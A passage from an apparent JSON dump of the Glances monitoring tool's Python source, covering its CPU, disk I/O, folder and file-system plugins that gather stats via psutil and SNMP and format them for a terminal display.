stats.update(self.filter_stats(cpu_times_percent))\n\n        # Additional CPU stats (number of events not as a %; psutil>=4.1.0)\n        # - ctx_switches: number of context switches (voluntary + involuntary) since boot.\n        # - interrupts: number of interrupts since boot.\n        # - soft_interrupts: number of software interrupts since boot. Always set to 0 on Windows and SunOS.\n        # - syscalls: number of system calls since boot. Always set to 0 on Linux.\n        cpu_stats = psutil.cpu_stats()\n        # Filter stats to keep only the fields we want (define in fields_description)\n        # It will also convert psutil objects to a standard Python dict\n        stats.update(self.filter_stats(cpu_stats))\n        # Core number is needed to compute the CTX switch limit\n        stats['cpucore'] = self.nb_log_core\n\n        return stats\n\n    def update_snmp(self):\n        \"\"\"Update CPU stats using SNMP.\"\"\"\n\n        # Init new stats\n        stats = self.get_init_value()\n\n        # Update stats using SNMP\n        if self.short_system_name in ('windows', 'esxi'):\n            # Windows or VMWare ESXi\n            # You can find the CPU utilization of windows system by querying the oid\n            # Give also the number of core (number of element in the table)\n            try:\n                cpu_stats = self.get_stats_snmp(snmp_oid=snmp_oid[self.short_system_name], bulk=True)\n            except KeyError:\n                self.reset()\n\n            # Iter through CPU and compute the idle CPU stats\n            stats['nb_log_core'] = 0\n            stats['idle'] = 0\n            for c in cpu_stats:\n                if c.startswith('percent'):\n                    stats['idle'] += float(cpu_stats['percent.3'])\n                    stats['nb_log_core'] += 1\n            if stats['nb_log_core'] > 0:\n                stats['idle'] = stats['idle'] / stats['nb_log_core']\n            stats['idle'] = 100 - stats['idle']\n            stats['total'] = 100 - stats['idle']\n\n        else:\n            # Default behavior\n            try:\n                stats = self.get_stats_snmp(snmp_oid=snmp_oid[self.short_system_name])\n            except KeyError:\n                stats = self.get_stats_snmp(snmp_oid=snmp_oid['default'])\n\n            if stats['idle'] == '':\n                self.reset()\n                return self.stats\n\n            # Convert SNMP stats to float\n            for key in stats:\n                stats[key] = float(stats[key])\n            stats['total'] = 100 - stats['idle']\n\n        return stats\n\n    def update_views(self):\n        \"\"\"Update stats views.\"\"\"\n        # Call the father's method\n        super().update_views()\n\n        # Add specifics information\n        for key in ['ctx_switches']:\n            # Skip alert if no timespan to measure\n            if self.stats.get('time_since_update', 0) == 0:\n                continue\n            if key in self.stats:\n                self.views[key]['decoration'] = self.get_alert(\n                    self.stats[key], maximum=100 * self.stats['cpucore'], header=key\n                )\n\n    def msg_curse(self, args=None, max_width=None):\n        \"\"\"Return the list to display in the UI.\"\"\"\n        # Init the return message\n        ret = []\n\n        # Only process if stats exist and plugin not disable\n        if not self.stats or self.args.percpu or self.is_disabled():\n            return ret\n\n        # Some tag to enable/disable stats (example: idle_tag triggered on Windows OS)\n        idle_tag = 'user' not in self.stats\n\n        # First line\n        # Total + (idle) + (ctx_sw)\n        msg = '{:8}'.format('CPU')\n        ret.append(self.curse_add_line(msg, \"TITLE\"))\n        # Total CPU usage\n        msg = '{:5.1f}%'.format(self.stats['total'])\n        ret.append(self.curse_add_line(msg, self.get_views(key='total', option='decoration')))\n        # Idle CPU (if available and not idle_tag)\n        if 'idle' in self.stats and not idle_tag:\n            msg = '  {:8}'.format('idle')\n            ret.append(self.curse_add_line(msg, optional=self.get_views(key='idle', option='optional')))\n            msg = '{:4.1f}%'.format(self.stats['idle'])\n            ret.append(self.curse_add_line(msg, optional=self.get_views(key='idle', option='optional')))\n        # ctx_switches (if available)\n        ret.extend(self.curse_add_stat('ctx_switches', width=15, header='  '))\n\n        # Second line\n        ret.append(self.curse_new_line())\n        # user|idle + irq + interrupts\n        # User CPU\n        if not idle_tag:\n            ret.extend(self.curse_add_stat('user', width=15))\n        else:\n            ret.extend(self.curse_add_stat('idle', width=15))\n        # IRQ CPU\n        ret.extend(self.curse_add_stat('irq', width=14, header='  '))\n        # interrupts\n        ret.extend(self.curse_add_stat('interrupts', width=15, header='  '))\n\n        # Third line\n        ret.append(self.curse_new_line())\n        # system|core + nice + sw_int\n        # System CPU\n        if not idle_tag:\n            ret.extend(self.curse_add_stat('system', width=15))\n        else:\n            ret.extend(self.curse_add_stat('core', width=15))\n        # Nice CPU\n        ret.extend(self.curse_add_stat('nice', width=14, header='  '))\n        # soft_interrupts\n        if 'soft_interrupts' in self.stats:\n            ret.extend(self.curse_add_stat('soft_interrupts', width=15, header='  '))\n        else:\n            ret.extend(self.curse_add_stat('ctx_switches', width=15, header='  '))\n\n        # Fourth line\n        ret.append(self.curse_new_line())\n        # iowait + steal + (syscalls or guest)\n        if 'iowait' in self.stats:\n            # IOWait CPU\n            ret.extend(self.curse_add_stat('iowait', width=15))\n        else:\n            # DPC CPU\n            ret.extend(self.curse_add_stat('dpc', width=15))\n        # Steal CPU usage\n        ret.extend(self.curse_add_stat('steal', width=14, header='  '))\n        if 'guest' in self.stats:\n            # On Linux we display the guest CPU usage (see #2667)\n            # guest: time spent running a virtual CPU for guest operating systems under\n            ret.extend(self.curse_add_stat('guest', width=14, header='  '))\n        elif not LINUX or not MACOS:\n            # syscalls: number of system calls since boot. Always set to 0 on Linux. (do not display)\n            ret.extend(self.curse_add_stat('syscalls', width=15, header='  '))\n\n        # Return the message with decoration\n        return ret\n"
  },
  {
    "path": "glances/plugins/diskio/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Disk I/O plugin.\"\"\"\n\nimport psutil\n\nfrom glances.globals import nativestr\nfrom glances.logger import logger\nfrom glances.plugins.plugin.model import GlancesPluginModel\n\n# Fields description\n# description: human readable description\n# short_name: shortname to use un UI\n# unit: unit type\n# rate: if True then compute and add *_gauge and *_rate_per_is fields\n# min_symbol: Auto unit should be used if value > than 1 'X' (K, M, G)...\nfields_description = {\n    'disk_name': {'description': 'Disk name.'},\n    'read_count': {\n        'description': 'Number of reads.',\n        'rate': True,\n        'unit': 'number',\n    },\n    'write_count': {\n        'description': 'Number of writes.',\n        'rate': True,\n        'unit': 'number',\n    },\n    'read_bytes': {\n        'description': 'Number of bytes read.',\n        'rate': True,\n        'unit': 'byte',\n    },\n    'write_bytes': {\n        'description': 'Number of bytes written.',\n        'rate': True,\n        'unit': 'byte',\n    },\n    'read_time': {\n        'description': 'Time spent reading.',\n        'rate': True,\n        'unit': 'millisecond',\n    },\n    'write_time': {\n        'description': 'Time spent writing.',\n        'rate': True,\n        'unit': 'millisecond',\n    },\n    'read_latency': {\n        'description': 'Mean time spent reading per operation.',\n        'unit': 'millisecond',\n    },\n    'write_latency': {\n        'description': 'Mean time spent writing per operation.',\n        'unit': 'millisecond',\n    },\n}\n\n# Define the history items list\nitems_history_list = [\n    {'name': 'read_bytes_rate_per_sec', 'description': 'Bytes read per second', 'y_unit': 'B/s'},\n    {'name': 'write_bytes_rate_per_sec', 'description': 'Bytes write per second', 'y_unit': 'B/s'},\n]\n\n\nclass DiskioPlugin(GlancesPluginModel):\n    \"\"\"Glances disks I/O plugin.\n\n    stats is a list\n    \"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(\n            args=args,\n            config=config,\n            items_history_list=items_history_list,\n            stats_init_value=[],\n            fields_description=fields_description,\n        )\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n        # Hide stats if it has never been != 0\n        if config is not None:\n            self.hide_zero = config.get_bool_value(self.plugin_name, 'hide_zero', default=False)\n            self.hide_threshold_bytes = config.get_int_value(self.plugin_name, 'hide_threshold_bytes', default=0)\n        else:\n            self.hide_zero = False\n            self.hide_threshold_bytes = 0\n        self.hide_zero_fields = ['read_bytes_rate_per_sec', 'write_bytes_rate_per_sec']\n\n        # Force a first update because we need two updates to have the first stat\n        self.update()\n        self.refresh_timer.set(0)\n\n    def get_key(self):\n        \"\"\"Return the key of the list.\"\"\"\n        return 'disk_name'\n\n    @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update disk I/O stats using the input method.\"\"\"\n        # Update the stats\n        if self.input_method == 'local':\n            stats = self.update_local()\n\n            # Compute latency (need rate stats, so should be done after decorator)\n            stats = self.update_latency(stats)\n        else:\n            stats = self.get_init_value()\n\n        # Update the stats\n        self.stats = stats\n\n        return self.stats\n\n    def update_latency(self, stats):\n        \"\"\"Update the latency stats.\"\"\"\n        # Compute read/write latency if we have the rate stats\n        for stat in stats:\n            # Compute read/write latency if we have the rate stats\n            if 'read_time_rate_per_sec' in stat and stat.get(\"read_count_rate_per_sec\", 0) > 0:\n                stat[\"read_latency\"] = int(stat[\"read_time_rate_per_sec\"] / stat[\"read_count_rate_per_sec\"])\n            else:\n                stat[\"read_latency\"] = 0\n\n            if 'write_time_rate_per_sec' in stat and stat.get(\"write_count_rate_per_sec\", 0) > 0:\n                stat[\"write_latency\"] = int(stat[\"write_time_rate_per_sec\"] / stat[\"write_count_rate_per_sec\"])\n            else:\n                stat[\"write_latency\"] = 0\n\n        return stats\n\n    @GlancesPluginModel._manage_rate\n    def update_local(self):\n        stats = self.get_init_value()\n\n        try:\n            diskio = psutil.disk_io_counters(perdisk=True)\n        except Exception:\n            return stats\n\n        for disk_name, disk_stat in diskio.items():\n            # By default, RamFS is not displayed (issue #714)\n            if self.args is not None and not self.args.diskio_show_ramfs and disk_name.startswith('ram'):\n                continue\n\n            # Shall we display the stats ?\n            if not self.is_display(disk_name):\n                continue\n\n            # Filter stats to keep only the fields we want (define in fields_description)\n            # It will also convert psutil objects to a standard Python dict\n            stat = self.filter_stats(disk_stat)\n\n            # Add the key\n            stat['key'] = self.get_key()\n\n            # Add disk name\n            stat['disk_name'] = disk_name\n\n            # Add alias if exist (define in the configuration file)\n            if self.has_alias(disk_name) is not None:\n                stat['alias'] = self.has_alias(disk_name)\n\n            stats.append(stat)\n\n        return stats\n\n    def update_views(self):\n        \"\"\"Update stats views.\"\"\"\n        # Call the father's method\n        super().update_views()\n\n        # Alert\n        for i in self.get_raw():\n            disk_real_name = i['disk_name']\n\n            # # Skip alert if no timespan to measure\n            # if not i.get('read_bytes_rate_per_sec') or not i.get('write_bytes_rate_per_sec'):\n            #     continue\n\n            # Decorate the bitrate with the configuration file\n            alert_rx = self.get_alert(i['read_bytes'], header='rx', action_key=disk_real_name)\n            alert_tx = self.get_alert(i['write_bytes'], header='tx', action_key=disk_real_name)\n            self.views[i[self.get_key()]]['read_bytes']['decoration'] = alert_rx\n            self.views[i[self.get_key()]]['write_bytes']['decoration'] = alert_tx\n\n            # Decorate the latency with the configuration file\n            # Try to get the read/write latency for the current disk\n            alert_latency_rx = self.get_alert(i['read_latency'], header='rx_latency', action_key=disk_real_name)\n            alert_latency_tx = self.get_alert(i['write_latency'], header='tx_latency', action_key=disk_real_name)\n            # If the alert is not defined, use the default one\n            if alert_latency_rx == 'DEFAULT':\n                alert_latency_rx = self.get_alert(i['read_latency'], header='rx_latency')\n            if alert_latency_tx == 'DEFAULT':\n                alert_latency_tx = self.get_alert(i['write_latency'], header='tx_latency')\n            self.views[i[self.get_key()]]['read_latency']['decoration'] = alert_latency_rx\n            self.views[i[self.get_key()]]['write_latency']['decoration'] = alert_latency_tx\n\n    def msg_curse(self, args=None, max_width=None):\n        \"\"\"Return the dict to display in the curse interface.\"\"\"\n        # Init the return message\n        ret = []\n\n        # Only process if stats exist and display plugin enable...\n        if not self.stats or self.is_disabled():\n            return ret\n\n        # Max size for the interface name\n        if max_width:\n            name_max_width = max_width - 13\n        else:\n            # No max_width defined, return an empty curse message\n            logger.debug(f\"No max_width defined for the {self.plugin_name} plugin, it will not be displayed.\")\n            return ret\n\n        # Header\n        msg = '{:{width}}'.format('DISK I/O', width=name_max_width)\n        ret.append(self.curse_add_line(msg, \"TITLE\"))\n        if args and args.diskio_iops:\n            msg = '{:>8}'.format('IOR/s')\n            ret.append(self.curse_add_line(msg))\n            msg = '{:>7}'.format('IOW/s')\n            ret.append(self.curse_add_line(msg))\n        elif args and args.diskio_latency:\n            msg = '{:>8}'.format('ms/opR')\n            ret.append(self.curse_add_line(msg))\n            msg = '{:>7}'.format('ms/opW')\n            ret.append(self.curse_add_line(msg))\n        else:\n            msg = '{:>8}'.format('R/s')\n            ret.append(self.curse_add_line(msg))\n            msg = '{:>7}'.format('W/s')\n            ret.append(self.curse_add_line(msg))\n        # Disk list (sorted by name)\n        for i in self.sorted_stats():\n            # Hide stats if never be different from 0 (issue #1787)\n            if all(self.get_views(item=i[self.get_key()], key=f, option='hidden') for f in self.hide_zero_fields):\n                continue\n            # Is there an alias for the disk name ?\n            disk_name = i['alias'] if 'alias' in i else i['disk_name']\n            # New line\n            ret.append(self.curse_new_line())\n            if len(disk_name) > name_max_width:\n                # Cut disk name if it is too long\n                disk_name = disk_name[:name_max_width] + '_'\n            msg = '{:{width}}'.format(nativestr(disk_name), width=name_max_width + 1)\n            ret.append(self.curse_add_line(msg))\n            if args and args.diskio_iops:\n                # count\n                txps = self.auto_unit(i.get('read_count_rate_per_sec', None))\n                rxps = self.auto_unit(i.get('write_count_rate_per_sec', None))\n                msg = f'{txps:>7}'\n                ret.append(\n                    self.curse_add_line(\n                        msg, self.get_views(item=i[self.get_key()], key='read_count', option='decoration')\n                    )\n                )\n                msg = f'{rxps:>7}'\n                ret.append(\n                    self.curse_add_line(\n                        msg, self.get_views(item=i[self.get_key()], key='write_count', option='decoration')\n                    )\n                )\n            elif args and args.diskio_latency:\n                # latency (mean time spent reading/writing per operation)\n                txps = self.auto_unit(i.get('read_latency', None), low_precision=True)\n                rxps = self.auto_unit(i.get('write_latency', None), low_precision=True)\n                msg = f'{txps:>7}'\n                ret.append(\n                    self.curse_add_line(\n                        msg, self.get_views(item=i[self.get_key()], key='read_latency', option='decoration')\n                    )\n                )\n                msg = f'{rxps:>7}'\n                ret.append(\n                    self.curse_add_line(\n                        msg, self.get_views(item=i[self.get_key()], key='write_latency', option='decoration')\n                    )\n                )\n            else:\n                # Bitrate\n                txps = self.auto_unit(i.get('read_bytes_rate_per_sec', None))\n                rxps = self.auto_unit(i.get('write_bytes_rate_per_sec', None))\n                msg = f'{txps:>7}'\n                ret.append(\n                    self.curse_add_line(\n                        msg, self.get_views(item=i[self.get_key()], key='read_bytes', option='decoration')\n                    )\n                )\n                msg = f'{rxps:>7}'\n                ret.append(\n                    self.curse_add_line(\n                        msg, self.get_views(item=i[self.get_key()], key='write_bytes', option='decoration')\n                    )\n                )\n\n        return ret\n"
  },
  {
    "path": "glances/plugins/folders/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Folder plugin.\"\"\"\n\nfrom glances.events_list import glances_events\nfrom glances.folder_list import FolderList as glancesFolderList\nfrom glances.globals import nativestr\nfrom glances.logger import logger\nfrom glances.plugins.plugin.model import GlancesPluginModel\n\n# Fields description\n# description: human readable description\n# short_name: shortname to use un UI\n# unit: unit type\n# rate: is it a rate ? If yes, // by time_since_update when displayed,\n# min_symbol: Auto unit should be used if value > than 1 'X' (K, M, G)...\nfields_description = {\n    'path': {'description': 'Absolute path.'},\n    'size': {\n        'description': 'Folder size in bytes.',\n        'unit': 'byte',\n    },\n    'refresh': {\n        'description': 'Refresh interval in seconds.',\n        'unit': 'second',\n    },\n    'errno': {\n        'description': 'Return code when retrieving folder size (0 is no error).',\n        'unit': 'number',\n    },\n    'careful': {\n        'description': 'Careful threshold in MB.',\n        'unit': 'megabyte',\n    },\n    'warning': {\n        'description': 'Warning threshold in MB.',\n        'unit': 'megabyte',\n    },\n    'critical': {\n        'description': 'Critical threshold in MB.',\n        'unit': 'megabyte',\n    },\n}\n\n\nclass FoldersPlugin(GlancesPluginModel):\n    \"\"\"Glances folder plugin.\"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(args=args, config=config, stats_init_value=[], fields_description=fields_description)\n\n        self.args = args\n        self.config = config\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n        # Init stats\n        self.glances_folders = glancesFolderList(config)\n\n    def get_key(self):\n        \"\"\"Return the key of the list.\"\"\"\n        return 'path'\n\n    @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update the folders list.\"\"\"\n        # Init new stats\n        stats = self.get_init_value()\n\n        if self.input_method == 'local':\n            # Folder list only available in a full Glances environment\n            # Check if the glances_folder instance is init\n            if self.glances_folders is None:\n                return self.stats\n\n            # Update the folders list (result of command)\n            self.glances_folders.update(key=self.get_key())\n\n            # Put it on the stats var\n            stats = self.glances_folders.get()\n        else:\n            pass\n\n        # Update the stats\n        self.stats = stats\n\n        return self.stats\n\n    def get_alert(self, stat, header=None, action_key=None, log=False):\n        \"\"\"Manage limits of the folder list.\"\"\"\n        if stat['errno'] != 0:\n            ret = 'ERROR'\n        else:\n            ret = 'OK'\n\n            if stat['critical'] is not None and stat['size'] > int(stat['critical']) * 1000000:\n                ret = 'CRITICAL'\n            elif stat['warning'] is not None and stat['size'] > int(stat['warning']) * 1000000:\n                ret = 'WARNING'\n            elif stat['careful'] is not None and stat['size'] > int(stat['careful']) * 1000000:\n                ret = 'CAREFUL'\n\n        # Get stat name\n        stat_name = self.get_stat_name(header=header, action_key=action_key)\n\n        # Manage log\n        log_str = \"\"\n        if self.get_limit_log(stat_name=stat_name, default_action=log) and ret != 'DEFAULT':\n            # Add _LOG to the return string\n            # So stats will be highlighted with a specific color\n            log_str = \"_LOG\"\n            # Add the log to the events list\n            glances_events.add(ret, stat_name.upper(), stat['size'])\n\n        # Manage threshold\n        self.manage_threshold(stat_name, ret)\n\n        # Manage action\n        self.manage_action(stat_name, ret.lower(), header, action_key)\n\n        return ret + log_str\n\n    def msg_curse(self, args=None, max_width=None):\n        \"\"\"Return the dict to display in the curse interface.\"\"\"\n        # Init the return message\n        ret = []\n\n        # Only process if stats exist and display plugin enable...\n        if not self.stats or self.is_disabled():\n            return ret\n\n        # Max size for the interface name\n        if max_width:\n            name_max_width = max_width - 7\n        else:\n            # No max_width defined, return an empty curse message\n            logger.debug(f\"No max_width defined for the {self.plugin_name} plugin, it will not be displayed.\")\n            return ret\n\n        # Header\n        msg = '{:{width}}'.format('FOLDERS', width=name_max_width)\n        ret.append(self.curse_add_line(msg, \"TITLE\"))\n\n        # Data\n        for i in self.stats:\n            ret.append(self.curse_new_line())\n            if len(i['path']) > name_max_width:\n                # Cut path if it is too long\n                path = '_' + i['path'][-name_max_width + 1 :]\n            else:\n                path = i['path']\n            msg = '{:{width}}'.format(nativestr(path), width=name_max_width)\n            ret.append(self.curse_add_line(msg))\n            if i['errno'] != 0:\n                msg = '?{:>8}'.format(self.auto_unit(i['size']))\n            else:\n                msg = '{:>9}'.format(self.auto_unit(i['size']))\n            ret.append(self.curse_add_line(msg, self.get_alert(i, header='folder', action_key=i['indice'])))\n\n        return ret\n"
  },
  {
    "path": "glances/plugins/fs/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"File system plugin.\"\"\"\n\nimport operator\n\nimport psutil\n\nfrom glances.globals import PermissionError, exit_after, nativestr, u\nfrom glances.logger import logger\nfrom glances.plugins.plugin.model import GlancesPluginModel\n\n# Fields description\n# description: human readable description\n# short_name: shortname to use un UI\n# unit: unit type\n# rate: is it a rate ? If yes, // by time_since_update when displayed,\n# min_symbol: Auto unit should be used if value > than 1 'X' (K, M, G)...\nfields_description = {\n    'device_name': {'description': 'Device name.'},\n    'fs_type': {'description': 'File system type.'},\n    'mnt_point': {'description': 'Mount point.'},\n    'options': {'description': 'Mount options.'},\n    'size': {\n        'description': 'Total size.',\n        'unit': 'byte',\n    },\n    'used': {\n        'description': 'Used size.',\n        'unit': 'byte',\n    },\n    'free': {\n        'description': 'Free size.',\n        'unit': 'byte',\n    },\n    'percent': {\n        'description': 'File system usage in percent.',\n        'unit': 'percent',\n    },\n}\n\n# SNMP OID\n# The snmpd.conf needs to be edited.\n# Add the following to enable it on all disk\n# ...\n# includeAllDisks 10%\n# ...\n# The OIDs are as follows (for the first disk)\n# Path where the disk is mounted: .1.3.6.1.4.1.2021.9.1.2.1\n# Path of the device for the partition: .1.3.6.1.4.1.2021.9.1.3.1\n# Total size of the disk/partition (kBytes): .1.3.6.1.4.1.2021.9.1.6.1\n# Available space on the disk: .1.3.6.1.4.1.2021.9.1.7.1\n# Used space on the disk: .1.3.6.1.4.1.2021.9.1.8.1\n# Percentage of space used on disk: .1.3.6.1.4.1.2021.9.1.9.1\n# Percentage of inodes used on disk: .1.3.6.1.4.1.2021.9.1.10.1\nsnmp_oid = {\n    'default': {\n        'mnt_point': '1.3.6.1.4.1.2021.9.1.2',\n        'device_name': '1.3.6.1.4.1.2021.9.1.3',\n        'size': '1.3.6.1.4.1.2021.9.1.6',\n        'used': '1.3.6.1.4.1.2021.9.1.8',\n        'percent': '1.3.6.1.4.1.2021.9.1.9',\n    },\n    'windows': {\n        'mnt_point': '1.3.6.1.2.1.25.2.3.1.3',\n        'alloc_unit': '1.3.6.1.2.1.25.2.3.1.4',\n        'size': '1.3.6.1.2.1.25.2.3.1.5',\n        'used': '1.3.6.1.2.1.25.2.3.1.6',\n    },\n    'netapp': {\n        'mnt_point': '1.3.6.1.4.1.789.1.5.4.1.2',\n        'device_name': '1.3.6.1.4.1.789.1.5.4.1.10',\n        'size': '1.3.6.1.4.1.789.1.5.4.1.3',\n        'used': '1.3.6.1.4.1.789.1.5.4.1.4',\n        'percent': '1.3.6.1.4.1.789.1.5.4.1.6',\n    },\n}\nsnmp_oid['esxi'] = snmp_oid['windows']\n\n# Define the history items list\n# All items in this list will be historised if the --enable-history tag is set\nitems_history_list = [{'name': 'percent', 'description': 'File system usage in percent', 'y_unit': '%'}]\n\n\n@exit_after(2, default=None)\ndef get_disk_usage(fs):\n    \"\"\"Return all partitions.\"\"\"\n    try:\n        return psutil.disk_usage(fs.mountpoint)\n    except OSError:\n        # Disk is ejected during the command\n        logger.debug(\"Plugin - fs: PsUtil fetch failed\")\n        return None\n\n\nclass FsPlugin(GlancesPluginModel):\n    \"\"\"Glances file system plugin.\n\n    stats is a list\n    \"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(\n            args=args,\n            config=config,\n            items_history_list=items_history_list,\n            stats_init_value=[],\n            fields_description=fields_description,\n        )\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n    def get_key(self):\n        \"\"\"Return the key of the list.\"\"\"\n        return 'mnt_point'\n\n    @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update the FS stats using the input method.\"\"\"\n        # Update the stats\n        if self.input_method == 'local':\n            stats = self.update_local()\n        else:\n            stats = self.get_init_value()\n\n        # Update the stats\n        self.stats = stats\n\n        return self.stats\n\n    def get_disk_partitions(self, *, fetch_all: bool = False):\n        \"\"\"Return all partitions.\"\"\"\n        try:\n            # Grab the stats using the psutil disk_partitions\n            # If fetch_all is False, then returns physical devices only (e.g. hard disks, cd-rom drives, USB keys)\n            # and ignore all others (e.g. memory partitions such as /dev/shm)\n            # Else return all mount points (including logical mount points like NFS, tmpfs, shm, ...)\n            return psutil.disk_partitions(all=fetch_all)\n        except (UnicodeDecodeError, PermissionError):\n            logger.debug(\"Plugin - fs: PsUtil fetch failed\")\n            return []\n\n    def update_local(self):\n        \"\"\"Update the FS stats using the input method.\"\"\"\n        # Init new stats\n        stats = self.get_init_value()\n\n        # Update stats using the standard system lib\n        fs_stat = self.get_disk_partitions()\n\n        # Optional hack to allow logical mounts points (issue #448)\n        allowed_fs_types = self.get_conf_value('allow')\n        if allowed_fs_types:\n            # Avoid Psutil call unless mounts need to be allowed\n            all_mounted_fs = self.get_disk_partitions(fetch_all=True)\n            # Discard duplicates (#2299) and add entries matching allowed fs types\n            tracked_mnt_points = {f.mountpoint for f in fs_stat}\n            for f in all_mounted_fs:\n                if (\n                    any(f.fstype.find(fs_type) >= 0 for fs_type in allowed_fs_types)\n                    and f.mountpoint not in tracked_mnt_points\n                ):\n                    fs_stat.append(f)\n\n        # Loop over fs\n        for fs in fs_stat:\n            # Hide the stats if the mount point is in the exclude list\n            # It avoids unnecessary call to PsUtil disk_usage\n            if not self.is_display_any(fs.mountpoint, fs.device):\n                continue\n\n            # Grab the disk usage\n            fs_usage = get_disk_usage(fs)\n            if fs_usage is None:\n                continue\n            fs_current = {\n                'device_name': fs.device,\n                'fs_type': fs.fstype,\n                # Manage non breaking space (see issue #1065)\n                'mnt_point': u(fs.mountpoint).replace('\\u00a0', ' '),\n                'options': fs.opts,\n                'size': fs_usage.total,\n                'used': fs_usage.used,\n                'free': fs_usage.free,\n                'percent': fs_usage.percent,\n                'key': self.get_key(),\n            }\n\n            # Add alias if exist (define in the configuration file)\n            if self.has_alias(fs_current['mnt_point']) is not None:\n                fs_current['alias'] = self.has_alias(fs_current['mnt_point'])\n\n            stats.append(fs_current)\n\n        return stats\n\n    def update_snmp(self):\n        \"\"\"Update the FS stats using the input method.\"\"\"\n        # Init new stats\n        stats = self.get_init_value()\n\n        # Update stats using SNMP\n\n        # SNMP bulk command to get all file system in one shot\n        try:\n            fs_stat = self.get_stats_snmp(snmp_oid=snmp_oid[self.short_system_name], bulk=True)\n        except KeyError:\n            fs_stat = self.get_stats_snmp(snmp_oid=snmp_oid['default'], bulk=True)\n\n        # Loop over fs\n        if self.short_system_name in ('windows', 'esxi'):\n            # Windows or ESXi tips\n            for fs, fs_value in fs_stat.item():\n                # Do not take hidden file system into account\n                if not self.is_display(fs):\n                    continue\n\n                # Memory stats are grabbed in the same OID table (ignore it)\n                if fs == 'Virtual Memory' or fs == 'Physical Memory' or fs == 'Real Memory':\n                    continue\n                size = int(fs_value['size']) * int(fs_value['alloc_unit'])\n                used = int(fs_value['used']) * int(fs_value['alloc_unit'])\n                percent = float(used * 100 / size)\n                fs_current = {\n                    'device_name': '',\n                    'mnt_point': fs.partition(' ')[0],\n                    'options': '',\n                    'size': size,\n                    'used': used,\n                    'percent': percent,\n                    'key': self.get_key(),\n                }\n                stats.append(fs_current)\n        else:\n            # Default behavior\n            for fs, fs_value in fs_stat.item():\n                # Do not take hidden file system into account\n                if not self.is_display_any(fs, fs_value['device_name']):\n                    continue\n\n                fs_current = {\n                    'device_name': fs_value['device_name'],\n                    'mnt_point': fs,\n                    'options': '',\n                    'size': int(fs_value['size']) * 1024,\n                    'used': int(fs_value['used']) * 1024,\n                    'percent': float(fs_value['percent']),\n                    'key': self.get_key(),\n                }\n                stats.append(fs_current)\n\n        return stats\n\n    def update_views(self):\n        \"\"\"Update stats views.\"\"\"\n        # Call the father's method\n        super().update_views()\n\n        # Add specifics information\n        # Alert\n        # Do not display threshold for volume mounted in 'ro' (read-only) #3143\n        for i in [d for d in self.stats if 'ro' not in d.get('options', '').split(',')]:\n            if i[self.get_key()] in self.views:\n                self.views[i[self.get_key()]]['used']['decoration'] = self.get_alert(\n                    current=i['size'] - i['free'], maximum=i['size'], header=i['mnt_point']\n                )\n\n    def msg_curse(self, args=None, max_width=None):\n        \"\"\"Return the dict to display in the curse interface.\"\"\"\n        # Init the return message\n        ret = []\n\n        # Only process if stats exist and display plugin enable...\n        if not self.stats or self.is_disabled():\n            return ret\n\n        # Max size for the interface name\n        if max_width:\n            name_max_width = max_width - 13\n        else:\n            # No max_width defined, return an empty curse message\n            logger.debug(f\"No max_width defined for the {self.plugin_name} plugin, it will not be displayed.\")\n            return ret\n\n        # Build the string message\n        # Header\n        msg = '{:{width}}'.format('FILE SYS', width=name_max_width)\n        ret.append(self.curse_add_line(msg, \"TITLE\"))\n        if args and args.fs_free_space:\n            msg = '{:>8}'.format('Free')\n        else:\n            msg = '{:>8}'.format('Used')\n        ret.append(self.curse_add_line(msg))\n        msg = '{:>7}'.format('Total')\n        ret.append(self.curse_add_line(msg))\n\n        # Filesystem list (sorted by name)\n        for i in sorted(self.stats, key=operator.itemgetter(self.get_key())):\n            # New line\n            ret.append(self.curse_new_line())\n            mnt_point = i['alias'] if 'alias' in i else i['mnt_point']\n            if len(mnt_point) + len(i['device_name'].split('/')[-1]) <= name_max_width - 3:\n                # If possible concatenate mode info... Glances touch inside :)\n                mnt_point += ' (' + i['device_name'].split('/')[-1] + ')'\n            elif len(mnt_point) > name_max_width:\n                mnt_point = mnt_point[:name_max_width] + '_'\n            msg = '{:{width}}'.format(nativestr(mnt_point), width=name_max_width + 1)\n            ret.append(self.curse_add_line(msg))\n            if args and args.fs_free_space:\n                msg = '{:>7}'.format(self.auto_unit(i['free']))\n            else:\n                msg = '{:>7}'.format(self.auto_unit(i['used']))\n            ret.append(\n                self.curse_add_line(msg, self.get_views(item=i[self.get_key()], key='used', option='decoration'))\n            )\n            msg = '{:>7}'.format(self.auto_unit(i['size']))\n            ret.append(self.curse_add_line(msg))\n\n        return ret\n"
  },
  {
    "path": "glances/plugins/fs/zfs.py",
